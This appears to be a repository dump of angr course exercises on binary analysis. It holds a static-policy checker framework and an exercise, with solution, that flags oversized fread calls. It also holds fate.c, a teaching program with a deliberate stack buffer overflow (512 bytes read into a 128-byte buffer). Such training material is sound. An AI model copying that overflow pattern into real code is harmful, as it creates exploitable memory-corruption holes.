├── .gitignore ├── README.md └── exercises ├── slide_104 ├── 0.py ├── 0.solution.py ├── fate ├── fate.c └── static-police │ ├── staticpolice │ ├── __init__.py │ ├── analyses │ │ ├── __init__.py │ │ └── return_values │ │ │ ├── __init__.py │ │ │ ├── return_value_analysis.py │ │ │ └── return_values.py │ ├── check_result.py │ ├── errors.py │ ├── policies │ │ ├── __init__.py │ │ ├── policy_base.py │ │ ├── return_value_checks.py │ │ ├── return_values.py │ │ └── stack_variable_initialization.py │ ├── policy_manager.py │ └── staticpolice.py │ ├── test_binaries │ ├── Makefile │ ├── return_value_checks │ ├── return_values │ └── src │ │ ├── return_value_checks.c │ │ └── return_values.c │ └── tests │ ├── staticpolice │ ├── test_analyses.py │ ├── test_policies.py │ └── test_serialization.py ├── slide_110 ├── overflow ├── overflow.c ├── vuln.py └── vuln.solution.py ├── slide_111 ├── overflow3-simplified ├── overflow3-simplified.c ├── overflow3.py └── overflow3.solution.py ├── slide_138 ├── longinit.py ├── longinit.solution.py ├── overflow3-longinit └── overflow3-longinit.c ├── slide_140 ├── overflow3-28d8a442fb232c0c ├── overflow3-28d8a442fb232c0c.c ├── overflow3.py └── overflow3.solution.py ├── slide_65-69 ├── 0.py ├── 0.solution.py ├── 1.py ├── 1.solution.py ├── cfg_2 └── fauxware ├── slide_70-75 ├── 0.py ├── 0.solution.py ├── 1.py ├── 1.solution.py └── fauxware ├── slide_86-89 ├── 0.py ├── 0.solution.py └── fauxware └── slide_91-94 ├── 0.py ├── 0.solution.py └── fauxware /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | local_settings.py 55 | 56 | # Flask stuff: 57 | instance/ 58 | .webassets-cache 59 | 60 | # Scrapy stuff: 61 | .scrapy 62 | 63 | # Sphinx documentation 64 | docs/_build/ 65 | 66 | # PyBuilder 67 | target/ 68 | 69 | # IPython Notebook 70 | .ipynb_checkpoints 71 | 72 | # pyenv 73 | .python-version 74 | 75 | # celery beat schedule file 76 | celerybeat-schedule 77 | 78 | # dotenv 79 | .env 80 | 81 | # virtualenv 82 | venv/ 83 | ENV/ 84 | 85 | # Spyder project settings 86 | .spyderproject 87 | 88 | # Rope project settings 89 | .ropeproject 90 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # acsac-course 2 | 3 | The slides referenced by the filenames are [here](https://docs.google.com/presentation/d/1eOOW6-roopNHg8J4DJSD1V0EWzKFHxAzFKfbyRcTt2o/edit#slide=id.p). 4 | -------------------------------------------------------------------------------- /exercises/slide_104/0.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | ''' 4 | Define a static security that prevents the "vulnerability" being triggered. 5 | ''' 6 | 7 | import angr 8 | 9 | # load the binary 10 | project = angr.Project("fate") 11 | 12 | # Since this is a very simple binary, it is not difficult to see the vulnerability is `fread` might read more than 128 13 | # bytes, which overflows the buffer `buf` defined on line 6. 14 | # Therefore a very simple security policy will be: whenever `fread` is called in this binary, make sure the third 15 | # argument is a number less than or equal to 128. 16 | 17 | # In order to implement the static security policy, we'll need program states, and hopefully, states at every single 18 | # program point in the binary, so we can check if the security policy can be violated or not at each program point. 19 | 20 | # now let's implement the static security policy 21 | 22 | # WRITEME: generate a fast CFG so we can find functions in the global knowledge base 23 | cfg_fast = None 24 | 25 | # WRITEME: generate an accurate CFG on this binary, with proper values for those parameters 26 | # Parameters you should care about: 27 | # - starts 28 | # - context_sensitivity_level 29 | # - keep_state 30 | # You might want to use a separate knowledge base 31 | cfg = None 32 | 33 | # WRITEME: find the fread function 34 | fread_func = None 35 | 36 | # WRITEME: find all `fread` nodes in accurate CFG 37 | fread_nodes = [ ] 38 | 39 | # WRITEME: for each `fread` node, check what the third argument is 40 | # to do so, a calling convention object should be initialized, so we know where all those arguments are in the state 41 | # this is how you can initialize a calling convention object: 42 | # cc = angr.DefaultCC[project.arch.name](project.arch) 43 | # then you can use this cc to retrieve an argument - please refer to SimCC implementation in angr to find out 44 | # how to do so ;) 45 | cc = None 46 | 47 | for node in fread_nodes: 48 | if cc is None: 49 | continue 50 | third_arg = cc.arg(node.input_state, 2) 51 | print("The third argument is %s" % third_arg) 52 | if node.input_state.solver.is_true(third_arg > 128): 53 | # ouch 54 | print("ALERT: possible violation at %s, identifier %s." % (node, node.simrun_key)) 55 | 56 | -------------------------------------------------------------------------------- /exercises/slide_104/0.solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | ''' 4 | Define a static security that prevents the "vulnerability" being triggered. 5 | ''' 6 | 7 | import angr 8 | 9 | # load the binary 10 | project = angr.Project("fate") 11 | 12 | # Since this is a very simple binary, it is not difficult to see the vulnerability is `fread` might read more than 128 13 | # bytes, which overflows the buffer `buf` defined on line 6. 14 | # Therefore a very simple security policy will be: whenever `fread` is called in this binary, make sure the third 15 | # argument is a number less than or equal to 128. 16 | 17 | # In order to implement the static security policy, we'll need program states, and hopefully, states at every single 18 | # program point in the binary, so we can check if the security policy can be violated or not at each program point. 19 | 20 | # now let's implement the static security policy 21 | 22 | # WRITEME: generate a fast CFG so we can find functions in the global knowledge base 23 | cfg_fast = project.analyses.CFG() 24 | 25 | # WRITEME: generate an accurate CFG on this binary, with proper values for those parameters 26 | # Parameters you should care about: 27 | # - starts 28 | # - context_sensitivity_level 29 | # - keep_state 30 | # You might want to use a separate knowledge base 31 | cfg = project.analyses.CFGEmulated(context_sensitivity_level=3, keep_state=True) 32 | 33 | # WRITEME: find the fread function 34 | fread_func = project.kb.functions.function(name='fread', plt=False) 35 | 36 | # WRITEME: find all `fread` nodes in accurate CFG 37 | fread_nodes = [ n for n in cfg.nodes() if n.addr == fread_func.addr ] 38 | 39 | # WRITEME: for each `fread` node, check what the third argument is 40 | # to do so, a calling convention object should be initialized, so we know where all those arguments are in the state 41 | # this is how you can initialize a calling convention object: 42 | # cc = angr.DefaultCC[project.arch.name](project.arch) 43 | # then you can use this cc to retrieve an argument - please refer to SimCC implementation in SimuVEX to find out 44 | # how to do so ;) 45 | cc = angr.DefaultCC[project.arch.name](project.arch) 46 | 47 | for node in fread_nodes: 48 | third_arg = cc.arg(node.input_state, 2) 49 | print("The third argument is %s" % third_arg) 50 | if node.input_state.solver.is_true(third_arg > 128): 51 | # ouch 52 | print("ALERT: possible violation at %s, identifier %s." % (node, node.simrun_key)) 53 | 54 | -------------------------------------------------------------------------------- /exercises/slide_104/fate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/acsac-course/7eb1a0dd6ba1de87339613bac0e2ecc68b5ffc3f/exercises/slide_104/fate -------------------------------------------------------------------------------- /exercises/slide_104/fate.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int heaven(char* buf, int bytes_to_read) 5 | { 6 | printf("Reading %d bytes...\n", bytes_to_read); 7 | return fread(buf, 1, bytes_to_read, stdin); 8 | } 9 | 10 | int hell(char* buf, int bytes_to_read) 11 | { 12 | printf("Reading %d bytes... but you cannot do whatever you want in hell!\n", bytes_to_read); 13 | bytes_to_read = 10; 14 | return fread(buf, 1, bytes_to_read, stdin); 15 | } 16 | 17 | int main() 18 | { 19 | char buf[128]; 20 | unsigned int choice; 21 | unsigned char size; 22 | 23 | puts("PICK YOUR FATE:"); 24 | scanf("%d", &choice); 25 | 26 | if (choice == 0) { 27 | puts("HEAVEN!"); 28 | size = heaven(buf, 512); 29 | } else { 30 | puts("HELL..."); 31 | size = hell(buf, 256); 32 | } 33 | 34 | printf("Received: %d bytes.\n", size); 35 | } 36 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/staticpolice/__init__.py: -------------------------------------------------------------------------------- 1 | from .staticpolice import StaticPolice 2 | from .policy_manager import PolicyManager 3 | # import all defined policies 4 | from .policies import * 5 | # import all analyses 6 | from .analyses import * 7 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/staticpolice/analyses/__init__.py: -------------------------------------------------------------------------------- 1 | from .return_values import ReturnValueAnalysis, UnknownReturnValue, ConstantReturnValue 2 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/staticpolice/analyses/return_values/__init__.py: -------------------------------------------------------------------------------- 1 | from .return_values import ConstantReturnValue, UnknownReturnValue 2 | from .return_value_analysis import ReturnValueAnalysis 3 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/staticpolice/analyses/return_values/return_value_analysis.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from angr import SimRegisterVariable, SimConstantVariable 4 | from angr import Analysis, register_analysis 5 | from angr import knowledge 6 | from angr.analyses.ddg import DDG, ProgramVariable 7 | 8 | from ...errors import StaticPoliceTypeError, StaticPoliceKeyNotFoundError 9 | from .return_values import ConstantReturnValue, UnknownReturnValue 10 | 11 | l = logging.getLogger('return_value_analysis') 12 | 13 | 14 | class ReturnValueAnalysis(Analysis): 15 | """ 16 | Try getting all possible return values of this function by analyzing the data dependency graph. Currently it only 17 | handles constant return values. That is to say, any return value that does not appear to be a constant in 18 | disassembly is shown as an UnknownReturnValue. 19 | 20 | Return values on each path are resolved individually. For example, function malloc() returns a valid pointer on one 21 | path, and NULL on some other paths, the analysis result will look like the following: 22 | 23 | return_values = [ 24 | # when it returns a pointer 25 | # on other paths where a NULL is returned 26 | ] 27 | 28 | """ 29 | 30 | RETURN_VALUE_REGISTERS = { 31 | 'X86': 'eax', 32 | 'AMD64': 'rax' 33 | } 34 | 35 | def __init__(self, function, data_dep): 36 | """ 37 | Constructor. 38 | 39 | :param angr.knowledge.Function function: The function to analyze. 40 | :param DDG data_dep: The data dependency analysis result. 41 | """ 42 | 43 | # sanity check 44 | if not isinstance(data_dep, DDG): 45 | raise StaticPoliceTypeError('"data_dep" must be an instance of DDG.') 46 | 47 | if not isinstance(function, knowledge.Function): 48 | raise StaticPoliceTypeError('"function" must be an instance of angr.knowledge.Function.') 49 | 50 | self._function = function 51 | self._data_dep = data_dep 52 | 53 | self.return_values = [ ] 54 | 55 | self._analyze() 56 | 57 | def _analyze(self): 58 | """ 59 | The core analysis method. 60 | 61 | :return: None 62 | """ 63 | 64 | # get the register that stores return value 65 | return_reg = self.RETURN_VALUE_REGISTERS.get(self.project.arch.name, None) 66 | if return_reg is None: 67 | raise StaticPoliceKeyNotFoundError('Return register is not specified for architecture %s.' % self.project.arch.name) 68 | 69 | return_reg_offset, return_reg_size = self.project.arch.registers[return_reg] 70 | 71 | variable = SimRegisterVariable(return_reg_offset, return_reg_size * 8) 72 | 73 | all_defs = self._data_dep.find_definitions(variable) 74 | 75 | # apparently we only care about those final definitions, i.e. definitions that do not have any consumers or 76 | # killers 77 | defs = [ ] 78 | for d in all_defs: # type: ProgramVariable 79 | if not self._data_dep.find_consumers(d) and not self._data_dep.find_killers(d): 80 | defs.append(d) 81 | 82 | if not defs: 83 | l.warning('Cannot find any definition for return value.') 84 | return 85 | 86 | return_values = [ ] 87 | 88 | # trace each definition backwards 89 | for d in defs: 90 | sources = self._data_dep.find_sources(d) 91 | 92 | if not sources: 93 | # umm what's going on 94 | continue 95 | 96 | for s in sources: 97 | if isinstance(s.variable, SimConstantVariable): 98 | return_values.append(ConstantReturnValue(s.variable.value)) 99 | else: 100 | return_values.append(UnknownReturnValue()) 101 | 102 | self.return_values = return_values 103 | 104 | register_analysis(ReturnValueAnalysis, 'ReturnValueAnalysis') 105 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/staticpolice/analyses/return_values/return_values.py: -------------------------------------------------------------------------------- 1 | class BaseReturnValue(object): 2 | """ 3 | Base class for return value classes. 4 | """ 5 | def __init__(self): 6 | pass 7 | 8 | def __repr__(self): 9 | s = "" 10 | return s 11 | 12 | 13 | class ConstantReturnValue(BaseReturnValue): 14 | """ 15 | Constant return values. 16 | """ 17 | def __init__(self, value): 18 | 19 | super(ConstantReturnValue, self).__init__() 20 | 21 | self.value = value 22 | 23 | def __repr__(self): 24 | s = "" % (self.value) 25 | return s 26 | 27 | 28 | class UnknownReturnValue(BaseReturnValue): 29 | """ 30 | Unknown (non-constant) return values. 31 | """ 32 | def __init__(self): 33 | super(UnknownReturnValue, self).__init__() 34 | 35 | def __repr__(self): 36 | s = "" 37 | return s 38 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/staticpolice/check_result.py: -------------------------------------------------------------------------------- 1 | class CheckResult(object): 2 | """ 3 | Result of a policy check. 4 | """ 5 | 6 | def __init__(self, policy, result, function=None, **kwargs): 7 | """ 8 | Constructor. 9 | 10 | :param PolicyBase policy: The policy that is checked. 11 | :param obj result: Result of the policy checking. 12 | :param angr.knowledge.Function function: The function where this policy is checked against. May not be set (in 13 | case the policy is not correlated to a single function). 14 | """ 15 | 16 | self.policy = policy 17 | self.result = result 18 | self.function = function 19 | 20 | self.info = kwargs.copy() 21 | 22 | def __repr__(self): 23 | s = "" % (self.policy.name, self.result) 24 | 25 | return s 26 | 27 | from .policies import PolicyBase 28 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/staticpolice/errors.py: -------------------------------------------------------------------------------- 1 | class StaticPoliceBaseError(Exception): 2 | pass 3 | 4 | class StaticPoliceBaseNotice(Exception): 5 | pass 6 | 7 | # 8 | # Generic errors 9 | # 10 | 11 | class FunctionNotFoundError(StaticPoliceBaseError): 12 | pass 13 | 14 | class StaticPoliceTypeError(StaticPoliceBaseError): 15 | pass 16 | 17 | class StaticPoliceKeyNotFoundError(StaticPoliceBaseError): 18 | pass 19 | 20 | # 21 | # Policy notices 22 | # 23 | 24 | class PolicySkipFunctionNotice(StaticPoliceBaseNotice): 25 | pass 26 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/staticpolice/policies/__init__.py: -------------------------------------------------------------------------------- 1 | from .policy_base import PolicyBase 2 | from .return_values import ReturnValues 3 | from .return_value_checks import ReturnValueChecks 4 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/staticpolice/policies/policy_base.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | import angr 4 | 5 | l = logging.getLogger('policies.policy_base') 6 | 7 | 8 | class PolicyBase(object): 9 | """ 10 | This class acts as the base class of any policy. 11 | 12 | :ivar str name: Name of the policy. 13 | :ivar angr.Project project: The associated angr project instance. Registered using _register_project() method. 14 | :ivar angr.KnowledgeBase kb: The associated angr knowledgebase instance. Registered using _register_project() method. 15 | """ 16 | 17 | def __init__(self, name, project=None, manager=None): 18 | """ 19 | Constructor. 20 | 21 | :param str name: Name of this policy 22 | :param angr.Project project: The associated angr project. 23 | :param PolicyManager manager: The associated policy manager instance. 24 | """ 25 | self.name = name 26 | 27 | self.project = project # type: angr.Project 28 | self.kb = None # type: angr.knowledgebase.KnowledgeBase 29 | if project: 30 | self.kb = project.kb 31 | 32 | self.manager = manager # type: PolicyManager 33 | 34 | # 35 | # Overriden methods from the base class 36 | # 37 | 38 | def __repr__(self): 39 | return "" % self.name 40 | 41 | # 42 | # Public interfaces 43 | # 44 | 45 | def function_check(self, function): 46 | """ 47 | Check if the policy is violated on a certain function. 48 | 49 | :param function: The function to check the policy against. 50 | :type function: angr.knowledge.Function or int 51 | :return: True if the policy is respected, False if the policy is violated. 52 | :rtype: bool 53 | """ 54 | 55 | raise NotImplementedError() 56 | 57 | def functions_check(self, functions): 58 | """ 59 | Check if the policy is violated on the given set of functions. 60 | 61 | :param iterable functions: A set of functions to check the policy against. 62 | :return: True if the policy is respected, False if the policy is violated. 63 | :rtype: bool 64 | """ 65 | 66 | raise NotImplementedError() 67 | 68 | def program_check(self): 69 | """ 70 | Check if the policy is violated in the entire program. 71 | 72 | :return: True if the policy is respected, False if the policy is violated. 73 | :rtype: bool 74 | """ 75 | 76 | raise NotImplementedError() 77 | 78 | # 79 | # Private interfaces 80 | # 81 | 82 | def _add_result(self, r): 83 | if self.manager is not None: 84 | self.manager.add_result(r) 85 | 86 | @property 87 | def _failfast(self): 88 | if self.manager is None: 89 | return True 90 | else: 91 | return self.manager.failfast 92 | 93 | @property 94 | def _fast_cfg(self): 95 | if self.manager is not None: 96 | return self.manager.fast_cfg 97 | 98 | l.warning('Policy %s does not have an associated policy manager. The fast control flow graph is not cached.') 99 | tmp_kb = angr.KnowledgeBase(self.project, self.project.loader.main_bin) 100 | return self.project.analyses.CFGFast(kb=tmp_kb) 101 | 102 | # 103 | # Private methods 104 | # 105 | 106 | def _register_project(self, project, kb): 107 | """ 108 | Associate an angr Project with this policy. 109 | 110 | :param angr.Project project: The angr project. 111 | :param angr.KnowledgeBase kb: The knowledgebase object. 112 | :return: None 113 | """ 114 | 115 | self.project = project 116 | self.kb = kb 117 | 118 | def _register_manager(self, manager): 119 | """ 120 | Associate a policy manager with this policy instance. 121 | 122 | :param PolicyManager manager: The policy manager. 123 | :return: None 124 | """ 125 | 126 | self.manager = manager 127 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/staticpolice/policies/return_value_checks.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | import angr 4 | from angr import KnowledgeBase 5 | from angr.sim_variable import SimRegisterVariable 6 | from angr.analyses.code_location import CodeLocation 7 | from angr.analyses.ddg import ProgramVariable 8 | 9 | from .policy_base import PolicyBase 10 | from ..analyses.return_values import ReturnValueAnalysis 11 | 12 | l = logging.getLogger('policies.return_value_checks') 13 | 14 | 15 | class ReturnValueChecks(PolicyBase): 16 | """ 17 | Policy ReturnValueChecks makes sure the return value from a function is checked before using. For example, a call to 18 | malloc() usually returns a valid pointer, but sometimes a NULL is returned when there the memory pressure of the 19 | target system is high, and memory allocation fails. Assuming the return value of malloc() always being a valid 20 | pointer is wrong and unsafe. This policy can be used to find situations where no check exists for the return value 21 | of functions like malloc(). 22 | """ 23 | 24 | def __init__(self, name=None, project=None, manager=None): 25 | """ 26 | Constructor. 27 | 28 | :param str name: Name of the policy. 29 | """ 30 | 31 | name = "ReturnValueChecks" if not name else name 32 | 33 | super(ReturnValueChecks, self).__init__(name, project=project, manager=manager) 34 | 35 | def function_check(self, function): 36 | """ 37 | 38 | 39 | :param angr.knowledge.Function function: The function to be checked against. 40 | :return: True if the policy is respected, False otherwise. 41 | :rtype: bool 42 | """ 43 | 44 | if function.returning is False: 45 | l.warning('Function %#x does not return.', function.addr) 46 | return True 47 | 48 | # find all places where the function is called 49 | 50 | cfg = self._fast_cfg 51 | 52 | function_node = cfg.get_any_node(function.addr) 53 | 54 | if not function_node: 55 | # the function is not found 56 | l.warning('Function %#x is not found in the control flow graph.', function.addr) 57 | return True 58 | 59 | # find all predecessors, which are callers to this function 60 | predecessors = cfg.get_all_predecessors(function_node) 61 | 62 | if not predecessors: 63 | # the function is not called from anywhere, or we cannot resolve the caller 64 | l.warning('Function %#x is not called by any node throughout the control flow graph.', function.addr) 65 | return True 66 | 67 | # for each function that the caller is in, generate a data dependency graph 68 | for pred in predecessors: # type: angr.analyses.cfg_node.CFGNode 69 | func_addr = pred.function_address 70 | 71 | if func_addr is None: 72 | continue 73 | 74 | caller_func = cfg.functions.get(func_addr, None) # type: angr.knowledge.Function 75 | if caller_func is None: 76 | continue 77 | 78 | tmp_kb = KnowledgeBase(self.project, self.project.loader.main_bin) 79 | caller_func_cfg = self.project.analyses.CFGAccurate( 80 | call_depth=0, 81 | base_graph=caller_func.graph, 82 | keep_state=True, 83 | ) 84 | dep_graph = self.project.analyses.DataDependencyAnalysis( 85 | caller_func_cfg, 86 | kb=tmp_kb, 87 | ) 88 | 89 | # analyze on dep_graph 90 | ret_val_reg = ReturnValueAnalysis.RETURN_VALUE_REGISTERS[self.project.arch.name] 91 | ret_val_reg_offset, ret_val_reg_size = self.project.arch.registers[ret_val_reg] 92 | ret_var = SimRegisterVariable(ret_val_reg_offset, ret_val_reg_size * 8) 93 | 94 | # return site 95 | return_site_addr = pred.addr + pred.size 96 | 97 | ret_var_def = ProgramVariable(ret_var, CodeLocation(return_site_addr, -1)) 98 | # TODO: add return value nodes in DataDependencyAnalysis 99 | 100 | consumers = dep_graph.find_consumers(ret_var_def) 101 | 102 | if not consumers: 103 | l.warning('Return value of function %#x is not checked at calling site %#x.', function.addr, pred.addr) 104 | return False 105 | 106 | return True 107 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/staticpolice/policies/return_values.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from angr import KnowledgeBase 4 | 5 | from ..errors import StaticPoliceTypeError, PolicySkipFunctionNotice 6 | from ..analyses.return_values import ConstantReturnValue 7 | from ..check_result import CheckResult 8 | from .policy_base import PolicyBase 9 | 10 | l = logging.getLogger('policies.return_values') 11 | 12 | 13 | class ReturnValues(PolicyBase): 14 | """ 15 | Policy ReturnValues specifies a set of all possible return values a function may have, and then checks if the 16 | function returns any value outside of the pre-defined range. 17 | 18 | Assumptions: 19 | - Return values are returned in the return value register specified by the normal calling convention of the 20 | architecture. 21 | - Return values are determined only by the current function, which is to say, if the return value of function A 22 | comes from the call to function B, this policy cannot properly check that. 23 | """ 24 | 25 | def __init__(self, name=None, return_values=None, function_address=None, project=None, manager=None): 26 | """ 27 | Constructor. 28 | 29 | :param str name: Name of the policy. 30 | :param iterable return_values: A collection of allowed return values from this function. 31 | :param int function_address: The address of the function to check. 32 | """ 33 | 34 | # sanity checks 35 | if not return_values: 36 | raise StaticPoliceTypeError('"return_values" must be specified.') 37 | if function_address is None: 38 | raise StaticPoliceTypeError('"function_address" must be specified.') 39 | 40 | name = "ReturnValueChecker" if not name else name 41 | 42 | super(ReturnValues, self).__init__(name, project=project, manager=manager) 43 | 44 | self.return_values = return_values 45 | self.function_address = function_address 46 | 47 | def function_check(self, function): 48 | """ 49 | Check if the specific function returns any value outside of the predefined scope. 50 | 51 | :param angr.knowledge.Function function: The function to check. 52 | :return: True if the policy is respected, False otherwise. 53 | :rtype: bool 54 | """ 55 | 56 | if function.addr != self.function_address: 57 | # skip this function 58 | raise PolicySkipFunctionNotice() 59 | 60 | # the temporary knowledge base 61 | tmp_kb = KnowledgeBase(self.project, self.project.loader.main_bin) 62 | 63 | cfg = self.project.analyses.CFGAccurate( 64 | starts=(function.addr,), 65 | keep_state=True, 66 | call_depth=0, 67 | kb=tmp_kb, 68 | ) 69 | 70 | # generate the data dependence graph on the function 71 | dep_graph = self.project.analyses.DataDependencyAnalysis( 72 | cfg, 73 | kb=tmp_kb 74 | ) 75 | 76 | # perform a return value analysis 77 | ret_val = self.project.analyses.ReturnValueAnalysis(function, dep_graph) 78 | 79 | result = True 80 | 81 | # check the return values 82 | for r in ret_val.return_values: # type: ConstantReturnValue 83 | if r.value not in self.return_values: 84 | l.warning('Policy violation: return value %s not found in predefined set of return values specified by ' 85 | 'the policy.', r.value) 86 | cr = CheckResult(self, False, function=function, unexpected_value=r.value) 87 | self._add_result(cr) 88 | result = False 89 | 90 | if self._failfast: 91 | return result 92 | 93 | if result is True: 94 | cr = CheckResult(self, True, function=function) 95 | self._add_result(cr) 96 | 97 | return True 98 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/staticpolice/policies/stack_variable_initialization.py: -------------------------------------------------------------------------------- 1 | from angr import KnowledgeBase 2 | 3 | from ..errors import FunctionNotFoundError 4 | from .policy_base import PolicyBase 5 | 6 | class StackVariableInitialization(PolicyBase): 7 | """ 8 | Policy StackVariableInitialization checks all variable locations on the stack, and make sure they are initialized 9 | before use, i.e. no value consuming before value assignment. 10 | 11 | Since we do not perform any complex variable identification, we only identify simple stack variable locations by 12 | synthesizing the direct stack variable accesses. For instance, 13 | mov dword ptr [ebp+8], eax 14 | implies that there is a stack variable location at ebp+8, and the variable size is 4. To reason about variables 15 | accessed in loops, a static analysis technique like VSA is essential. 16 | """ 17 | 18 | def __init__(self, name=None): 19 | """ 20 | Constructor. 21 | 22 | :param str name: Name of the policy. 23 | """ 24 | 25 | name = "ReturnValueChecker" if not name else name 26 | 27 | super(StackVariableInitialization, self).__init__(name) 28 | 29 | # 30 | # Implementation of public interfaces 31 | # 32 | 33 | def function_check(self, function): 34 | 35 | if isinstance(function, (int, long)): 36 | function = self.kb.functions.get(function, None) 37 | 38 | if function is None: 39 | # the function is not found 40 | raise FunctionNotFoundError('The function specified is not found. Please make sure the function you ' 41 | 'specified is correct, and the correct knowledge base with function ' 42 | 'information is passed in.' 43 | ) 44 | 45 | # create a temporary knowledgebase so that the new CFG does not overwrite the existing global CFG 46 | tmp_kb = KnowledgeBase(self.project, self.kb.obj) 47 | 48 | # create an accurate control flow graph for this function 49 | cfg = self.project.analyses.CFGAccurate(kb=tmp_kb, base_graph=function) 50 | 51 | import ipdb; ipdb.set_trace() 52 | 53 | # 54 | # Implementation of private interfaces 55 | # 56 | 57 | 58 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/staticpolice/policy_manager.py: -------------------------------------------------------------------------------- 1 | 2 | from .errors import StaticPoliceTypeError 3 | from .check_result import CheckResult 4 | 5 | class PolicyManager(object): 6 | """ 7 | A manager of all policies. 8 | """ 9 | 10 | def __init__(self, project, kb, failfast=False): 11 | """ 12 | Constructor. 13 | 14 | :param angr.Project project: The angr project instance. 15 | :param angr.KnowledgeBase kb: The knowledgebase associated to all policies. 16 | :param bool failfast: When set to True, policy checking procedure will be immediately terminated if any policy 17 | check fails. Otherwise all policy check failures are recorded. 18 | """ 19 | 20 | self.project = project 21 | self.kb = kb 22 | self.failfast = failfast 23 | 24 | self.policies = {} 25 | self._cfg = None 26 | self.results = [ ] 27 | 28 | def register_policy(self, policy, name): 29 | """ 30 | Register a policy with the policy manager. 31 | 32 | :param policies.PolicyBase policy: The policy object to register. 33 | :return: None 34 | """ 35 | 36 | self.policies[name] = policy 37 | 38 | # associate the policy to the current project 39 | policy._register_project(self.project, self.kb) 40 | # associate the policy to the policy manager 41 | policy._register_manager(self) 42 | 43 | def check_function(self, function): 44 | """ 45 | 46 | :param function: 47 | :return: 48 | """ 49 | 50 | result = True 51 | 52 | for _, p in self.policies.items(): 53 | 54 | if not p.check_function(function): 55 | result = False 56 | if self.failfast: 57 | return result 58 | 59 | return result 60 | 61 | def check_functions(self, functions): 62 | """ 63 | 64 | :param functions: 65 | :return: 66 | """ 67 | 68 | result = True 69 | 70 | for _, p in self.policies.items(): 71 | 72 | if not p.check_functions(functions): 73 | result = False 74 | if self.failfast: 75 | return result 76 | 77 | return result 78 | 79 | # 80 | # Public methods for policies 81 | # 82 | 83 | def add_result(self, r): 84 | """ 85 | Append a policy check result. 86 | 87 | :param CheckResult r: The check result to add. 88 | :return: None 89 | """ 90 | 91 | if not isinstance(r, CheckResult): 92 | raise StaticPoliceTypeError('add_result() only accepts CheckResult instances.') 93 | 94 | self.results.append(r) 95 | 96 | # 97 | # Properties 98 | # 99 | 100 | @property 101 | def fast_cfg(self): 102 | """ 103 | Get a fast CFG. Note that it is only generated upon the first time this function is called, and then the CFG is 104 | cached in self._cfg. 105 | 106 | :return: A full-program control flow graph. 107 | :rtype: angr.analyses.CFGFast 108 | """ 109 | 110 | if self._cfg is None: 111 | self._cfg = self.project.analyses.CFGFast() 112 | 113 | return self._cfg 114 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/staticpolice/staticpolice.py: -------------------------------------------------------------------------------- 1 | from angr import Analysis, register_analysis 2 | 3 | from .policy_manager import PolicyManager 4 | 5 | class StaticPolice(Analysis): 6 | """ 7 | An angr analysis that performs policy checks with a given set of policies against the binary program. 8 | """ 9 | 10 | def __init__(self, policies=None): 11 | """ 12 | Constructor. 13 | 14 | :param iterable policies: A collection of policies to be registered with the policy manager. 15 | """ 16 | 17 | self.policy_manager = PolicyManager(self.project, self.kb) 18 | 19 | if policies is not None: 20 | for policy in policies: 21 | self.policy_manager.register_policy(policy, policy.name) 22 | 23 | def check(self, functions=None): 24 | """ 25 | Enforce the policy. 26 | 27 | :param iterable functions: A collection of functions to enforce all policies. 28 | :return: True if all policies are enforced, False otherwise 29 | :rtype: bool 30 | """ 31 | 32 | if functions is None: 33 | functions = self.policy_manager.fast_cfg.functions.values() 34 | 35 | for function in functions: 36 | self.policy_manager.check_function(function) 37 | 38 | register_analysis(StaticPolice, 'StaticPolice') 39 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/test_binaries/Makefile: -------------------------------------------------------------------------------- 1 | 2 | all: return_values return_value_checks 3 | 4 | return_values: src/return_values.c 5 | gcc src/return_values.c -o return_values -g 6 | 7 | return_value_checks: src/return_value_checks.c 8 | gcc src/return_value_checks.c -o return_value_checks -g 9 | 10 | clean: 11 | rm -f return_values return_value_checks 12 | 13 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/test_binaries/return_value_checks: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/acsac-course/7eb1a0dd6ba1de87339613bac0e2ecc68b5ffc3f/exercises/slide_104/static-police/test_binaries/return_value_checks -------------------------------------------------------------------------------- /exercises/slide_104/static-police/test_binaries/return_values: 